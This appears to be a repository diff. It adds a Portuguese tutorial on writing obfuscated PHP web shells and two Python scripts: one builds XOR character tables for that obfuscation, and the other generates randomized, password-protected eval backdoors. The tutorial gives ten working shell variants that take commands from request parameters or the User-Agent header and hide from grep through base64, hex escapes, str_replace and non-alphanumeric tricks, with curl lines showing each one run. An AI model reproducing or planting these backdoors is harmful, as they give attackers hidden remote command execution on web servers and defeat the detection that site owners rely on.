+string exec ( string $command [, array &$output [, int &$return_var ]] )
+EXEC-> php -r 'exec("ls -la",$var);print_r($var);'
+
+(PHP 4, PHP 5, PHP 7)
+passthru — Executa um programa externo e mostra a saída crua
+void passthru ( string $command [, int &$return_var ] )
+EXEC-> php -r 'passthru("ls -la",$var);'
+```
+
+#### Implementação simples:
+
+```
+shell_exec: 
+ if(isset($_REQUEST['cmd'])) { $cmd=shell_exec($_REQUEST['cmd']);
+ print_r($cmd);} 
+
+system: 
+ if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); }
+
+exec:
+ if(isset($_REQUEST['cmd'])) { exec($_REQUEST['cmd']); }
+
+passthru:
+ if(isset($_REQUEST['cmd'])) { passthru($_REQUEST['cmd']); } 
+```
+
+
+Podemos usar as mesmas functions, porem de forma elaborada evitando que um simples grep -E revele nosso acesso.
+
+#### DICAS:
+
+- Uso de shellcode em valores fixos;
+- Array é vida! use sem moderação;
+- Concatenação de functions nativas & definição de variáveis.
+- base64_decode - encode(data) , bin2hex , error_reporting(0)
+- Use requests (get or post) que já existam no sistema;
+- Estude a criação de propriedades maliciosas em class’s do sistema, crie suas functions; 
+- Manuseio de valores da variável global $_SERVER;
+- Estude métodos de infeção para arquivos CMS’s feitos em PHP;
+
+#### Vamos para os exemplos
+
+**EXEMPLO 01**
+Functions:
+
+1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
+2. [BASE64_DECODE](http://php.net/manual/pt_BR/function.base64-decode.php)
+3. [DEFINE](http://php.net/manual/pt_BR/function.define.php)
+4. [SYSTEM](http://php.net/manual/pt_BR/function.system.php)
+5. [EXIT](http://php.net/manual/pt_BR/function.exit.php)
+
+Variáveis: c3lzdGVt=system ,dW5hbWUgLWE7bHM7=uname -a;ls; ,aWQ==id
+ **CODE:**
+
+```
+ (error_reporting(0).($__=@base64_decode("c3lzdGVt")).$__(base64_decode("aWQ="))
+.define("_","dW5hbWUgLWE7bHM7").$__(base64_decode(_)).exit);
+
+```
+
+Execução: curl -v 'http://localhost/shell.php'
+
+
+
+**EXEMPLO 02**
+Functions:
+
+1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
+2. [BASE64_DECODE](http://php.net/manual/pt_BR/function.base64-decode.php)
+3. [ISSET](http://php.net/manual/pt_BR/function.isset.php)
+4. [PRINT](http://php.net/manual/pt_BR/function.print.php)
+5. [SYSTEM](http://php.net/manual/pt_BR/function.system.php)
+6. [EXIT](http://php.net/manual/pt_BR/function.exit.php)
+
+Variáveis: c3lzdGVt=system
+**CODE:**
+
+```
+ (error_reporting(0).($__=@base64_decode("c3lzdGVt"))
+.print($__(isset($_REQUEST[0])?$_REQUEST[0]:NULL)).exit);
+```
+
+
+Execução: curl -v 'http://localhost/shell.php?0=id'
+**
+****EXEMPLO 03**Functions:
+
+1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
+2. [BASE64_DECODE](http://php.net/manual/pt_BR/function.base64-decode.php)
+3. [CREATE_FUNCTION](http://php.net/manual/pt_BR/function.create-function.php) - Cria uma função anônima (lambda-style)
+4. [SHELL_EXEC](http://php.net/manual/pt_BR/function.shell-exec.php)
+5. [EXIT](http://php.net/manual/pt_BR/function.exit.php)
+
+Variáveis: ZWNobyhzaGVsbF9leGVjKCRfKSk7=echo(shell_exec($_));
+**CODE:**
+
+```
+(error_reporting(0)).($_=$_REQUEST[0])
+.($__=@create_function('$_',base64_decode("ZWNobyhzaGVsbF9leGVjKCRfKSk7"))).($__($_).exit);
+```
+
+
+Execução: curl -v 'http://localhost/shell.php?0=id'
+
+**EXEMPLO 04**
+Functions:
+
+1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
+2. [VARIABLE FUNCTIONS](http://php.net/manual/pt_BR/functions.variable-functions.php)
+3. [EXIT](http://php.net/manual/pt_BR/function.exit.php)
+
+Variáveis: $_GET[1]=Nome da function, $_GET[2]=comando que será executado
+**CODE:**
+
+```
+(error_reporting(0).($_=@$_GET[1]).($_($_GET[2])).exit);
+```
+
+Execução: curl -v 'http://localhost/shell.php?1=system&2=id;uname' **EXEMPLO 05** Functions:
+
+1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
+2. [EXTRACT](http://php.net/manual/pt_BR/function.extract.php)
+3. [GET_DEFINED_VARS](http://php.net/manual/pt_BR/function.get-defined-vars.php)
+4. [VARIABLE FUNCTIONS](http://php.net/manual/pt_BR/functions.variable-functions.php)
+5. [DEFINE](http://php.net/manual/pt_BR/function.define.php)
+6. [EXIT](http://php.net/manual/pt_BR/function.exit.php)
+
+Variáveis: $_REQUEST[1]=Nome da function, $_REQUEST[2]=comando que será executado **CODE:**
+
+```
+ (error_reporting(0)).(extract($_REQUEST, EXTR_PREFIX_ALL))
+.($_=@get_defined_vars()['_REQUEST']).(define('_',$_[2])).(($_[1](_))).exit;
+```
+
+Execução: curl -v 'http://localhost/shell.php?1=system&2=id;uname'
+
+```
+
+
+
+
+```
+
+**EXEMPLO 06**
+Functions:
+
+1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
+2. [EXPLODE](http://php.net/manual/pt_BR/function.explode.php)
+3. [BASE64_DECODE](http://php.net/manual/pt_BR/function.base64-decode.php)
+4. [VARIABLE FUNCTIONS](http://php.net/manual/pt_BR/functions.variable-functions.php)
+5. [EXIT](http://php.net/manual/pt_BR/function.exit.php)
+
+Variáveis: SFRUUF9VU0VSX0FHRU5U=HTTP_USER_AGENT
+**CODE:**
+
+```
+(error_reporting(0)).($_=@explode(',',$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]))
+.($_[0]("{$_[1]}")).exit; 
+
+```
+
+
+Execução: curl -v 'http://localhost/shell.php' --user-agent 'system,id;ls -la'
+
+
+
+```
+
+```
+
+**EXEMPLO 07**
+Functions:
+
+1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
+2. [GET_DEFINED_VARS](http://php.net/manual/pt_BR/function.get-defined-vars.php)
+3. [VARIABLE FUNCTIONS](http://php.net/manual/pt_BR/functions.variable-functions.php)
+4. [VARIABLE SHELLCODE](https://pt.wikipedia.org/wiki/Shellcode)
+5. [SYSTEM](http://php.net/manual/pt_BR/function.system.php)
+6. [EXIT](http://php.net/manual/pt_BR/function.exit.php)
+
+Variáveis: \x30=0, \x73=s, \x79=y , \x73=s, \x74=t, \x65=e, \x6D=m
+**CODE:**
+
+```
+ (error_reporting(0)).($_[0][]=@$_GET["\x30"])
+.($_[1][] = "\x73").($_[1][] = "\x79").($_[1][] = "\x73")
+.($_[1][] = "\x74").($_[1][] = "\x65").($_[1][] = "\x6D")
+.($__=@get_defined_vars()['_'][1]).($___.=$__[0])
+.($___.=$__[1]).($___.=$__[2]).($___.=$__[3])
+.($___.=$__[4]).($___.=$__[5]).(($___("{$_[0][0]}")).exit);
+```
+
+
+Execução: curl -v 'http://localhost/shell.php?0=id;uname%20-a'
+
+**EXEMPLO 08**
+Functions:
+
+1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
+2. [STR_REPLACE](http://php.net/manual/pt_BR/function.str-replace.php)
+3. [VARIABLE FUNCTIONS](http://php.net/manual/pt_BR/functions.variable-functions.php)
+
+Variáveis: $_REQUEST[0]=Comando que será executado
+**CODE:**
+
+```
+ (error_reporting(0)).(str_replace(['$','@','#'],''
+,'s$##y@#$@#$@#$@s$#$@#$@#$@$te$#@#$m')).($_("{$_REQUEST[0]}"));
+```
+
+
+Execução: curl -v 'http://localhost/shell.php?0=id
+
+```
+
+```
+
+**
+****EXEMPLO 09**
+Functions:
+
+1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
+2. [STR_REPLACE](http://php.net/manual/pt_BR/function.str-replace.php)
+3. [VARIABLE FUNCTIONS](http://php.net/manual/pt_BR/functions.variable-functions.php)
+4. [SYSTEM](http://php.net/manual/pt_BR/function.system.php)
+
+Variáveis: $_POST['shellrox']=Comando que será executado
+**CODE:**
+
+```
+ (error_reporting(0)).($_=[("\x73\x79").("\x73")
+.("\x74\x65\x6d"),"\x73\x68\x65\x6c","\x6c\x72\x6f\x78"])
+.($_[0]($_POST[$_[1].$_[2]]));
+```
+
+
+Execução: curl -d "shellrox=id;uname -a" -X POST 'http://localhost/shell.php'
+
+```
+
+```
+
+**
+****EXEMPLO 10** Functions:
+
+1. [NON ALPHA NUMERIC](http://www.thespanner.co.uk/2012/08/21/php-nonalpha-tutorial/)
+2. [VARIABLE FUNCTIONS](http://php.net/manual/pt_BR/functions.variable-functions.php)
+3. [SYSTEM](http://php.net/manual/pt_BR/function.system.php)
+
+**CODE:**
+
+```
+$_="";      # we need a blank string to start
+$_[+$_]++;  # access part of the string to convert to an array
+$_=$_."";   # convert the array into a string of "Array"
+$_=$_[+""]; # access the 0 index of the string "Array" which is "A"
+
+# INCREMENTANDO VALORES PARA ACHAR AS LETRAS
+# NO CASO QUERO MONTAR A STRING SYSTEM
+
+($_++); #A
+($_++); #B
+($_++); #C
+($_++); #D
+# PRIMEIRA LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO
+($___[]=$_++);#E
+($_++); #F
+($_++); #G
+($_++); #H
+($_++); #I
+($_++); #J
+($_++); #K
+($_++); #L
+```
+
+`# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO` ($___[]=$_++);#M
+
+```
+($_++); #N
+($_++); #O
+($_++); #P
+($_++); #Q
+($_++); #R
+```
+
+`# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO` ($___[]=$_++);#S
+
+`# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO` ($___[]=$_++);#T
+
+```
+($_++); #U
+($_++); #V
+($_++); #W
+($_++); #X
+```
+
+`# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO` ($___[]=$_++);#Y
+
+```
+($_++);#Z
+
+
+# DEBUG DO ARRAY:
+/* Array
+(
+    [0] => E
+    [1] => M
+    [2] => S
+    [3] => T
+    [4] => Y
+)
+*/
+
+# MONTAR STRING COM OS CAMPOS DO ARRAY $___  
+$_____=$___[2].$___[4].$___[2].$___[3].$___[0].$___[1];
+
+# USANDO TÉCNICA DE FUNCTION ANONIMA PARA EXECUÇÃO
+$_____('id;uname -a');
+VERSÃO MINIMALISTA:
+($_="").($_[+$_]++).($_=$_."").($_=$_[+""]).($_++)
+.($_++).($_++).($_++).($___[]=$_++).($_++).($_++)
+.($_++).($_++).($_++).($_++).($_++).($___[]=$_++)
+.($_++).($_++).($_++).($_++).($_++).($___[]=$_++)
+.($___[]=$_++).($_++).($_++).($_++).($_++)
+.($___[]=$_++).($_++)
+.($_____=$___[2].$___[4].$___[2].$___[3].$___[0].$___[1])
+.($_____('id;uname -a'));
+
+```
+
+Execução: curl -v 'http://localhost/shell.php'
+
+#### Observação: Existem outras milhares de técnicas, e tentarei fazer outros posts sobre.
+
+#### Referências
+
+- http://php.net/manual/en/language.operators.execution.php#language.operators.execution
+- https://thehackerblog.com/a-look-into-creating-a-truley-invisible-php-shell
+- http://www.businessinfo.co.uk/labs/talk/Nonalpha.pdf
+- http://php.net/manual/pt_BR/function.create-function.php
+- https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html
+- http://web.archive.org/web/20120427221212/http://h.ackack.net/tiny-php-shell.html
+- http://php.net/manual/pt_BR/function.extract.php
+- http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
+- https://www.akamai.com/cn/zh/multimedia/documents/report/akamai-security-advisory-web-shells-backdoor-trojans-and-rats.pdf
+- https://aw-snap.info/articles/backdoor-examples.php
+- http://php.net/manual/pt_BR/reserved.variables.server.php
+- http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/
+- https://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
+- http://php.net/manual/en/functions.variable-functions.php
+- http://php.net/manual/pt_BR/function.exec.php
+- http://php.net/manual/pt_BR/function.shell-exec.php
+- http://php.net/manual/pt_BR/function.system.php
+- http://php.net/manual/pt_BR/function.passthru.php
+- http://php.net/manual/pt_BR/function.get-defined-vars.php
+- http://php.net/manual/pt_BR/function.extract.php

php/create_code_with_xor.py

@@ -0,0 +1,59 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+# name: yihuo.py
+# http://www.opensource.org/licenses/mit-license
+# MIT License
+# from: https://www.sqlsec.com/2020/07/shell.html#toc-heading-24
+# Copyright (c) 2020 
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+# 
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import string
+from urllib.parse import quote
+
+keys = list(range(65)) + list(range(91, 97)) + list(range(123, 127))
+results = []
+for i in keys:
+    for j in keys:
+        asscii_number = i ^ j
+        if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122):
+            if i < 32 and j < 32:
+                temp = (
+                f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
+                results.append(temp)
+            elif i < 32 and j >= 32:
+                temp = (
+                f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
+                results.append(temp)
+            elif i >= 32 and j < 32:
+                temp = (
+                f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
+                results.append(temp)
+            else:
+                temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
+                results.append(temp)
+                results.sort(key=lambda x: x[1], reverse=False)
+                for low_case in string.ascii_lowercase:
+                    for result in results:
+                        if low_case in result:
+                            print(result[0])
+                            for upper_case in string.ascii_uppercase:
+                                for result in results:
+                                    if upper_case in result:
+                                        print(result[0])

php/create_webshell_with_py.py

@@ -0,0 +1,81 @@
+import random
+
+#author: pureqh
+#github: https://github.com/pureqh/webshell
+#use:GET:http://url?pass=pureqh POST:zero
+
+shell = '''<?php
+class {0}{1}
+        public ${2} = null;
+        public ${3} = null;
+        function __construct(){1}
+            if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){1}
+        $this->{2} = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
+        $this->{3} = @{9}($this->{2});
+        @eval({5}.$this->{3}.{5});
+        {4}{4}{4}
+new {0}();
+function {6}(${7}){1}
+    $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
+    ${8} = '';
+    $v = 0;
+    $vbits = 0;
+    for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1}
+    $v <<= 8;
+        $v += ord(${7}[$i]);
+        $vbits += 8;
+        while ($vbits >= 5) {1}
+            $vbits -= 5;
+            ${8} .= $BASE32_ALPHABET[$v >> $vbits];
+            $v &= ((1 << $vbits) - 1);{4}{4}
+    if ($vbits > 0){1}
+        $v <<= (5 - $vbits);
+        ${8} .= $BASE32_ALPHABET[$v];{4}
+    return ${8};{4}
+function {9}(${7}){1}
+    ${8} = '';
+    $v = 0;
+    $vbits = 0;
+    for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1}
+        $v <<= 5;
+        if (${7}[$i] >= 'a' && ${7}[$i] <= 'z'){1}
+            $v += (ord(${7}[$i]) - 97);
+        {4} elseif (${7}[$i] >= '2' && ${7}[$i] <= '7') {1}
+            $v += (24 + ${7}[$i]);
+        {4} else {1}
+            exit(1);
+        {4}
+        $vbits += 5;
+        while ($vbits >= 8){1}
+            $vbits -= 8;
+            ${8} .= chr($v >> $vbits);
+            $v &= ((1 << $vbits) - 1);{4}{4}
+    return ${8};{4}
+?>'''
+
+
+def random_keys(len):
+    str = '`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
+    return ''.join(random.sample(str,len))
+
+def random_name(len):
+    str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
+    return ''.join(random.sample(str,len))  
+
+def build_webshell():
+    className = random_name(4)
+    lef = '''{'''
+    parameter1 = random_name(4)
+    parameter2 = random_name(4)
+    rig = '''}'''
+    disrupt = "\"/*"+random_keys(7)+"*/\""
+    fun1 = random_name(4)
+    fun1_vul = random_name(4)
+    fun1_ret = random_name(4)
+    fun2 = random_name(4)
+    shellc = shell.format(className,lef,parameter1,parameter2,rig,disrupt,fun1,fun1_vul,fun1_ret,fun2)
+    return shellc
+
+
+if __name__ == '__main__':
+    print (build_webshell())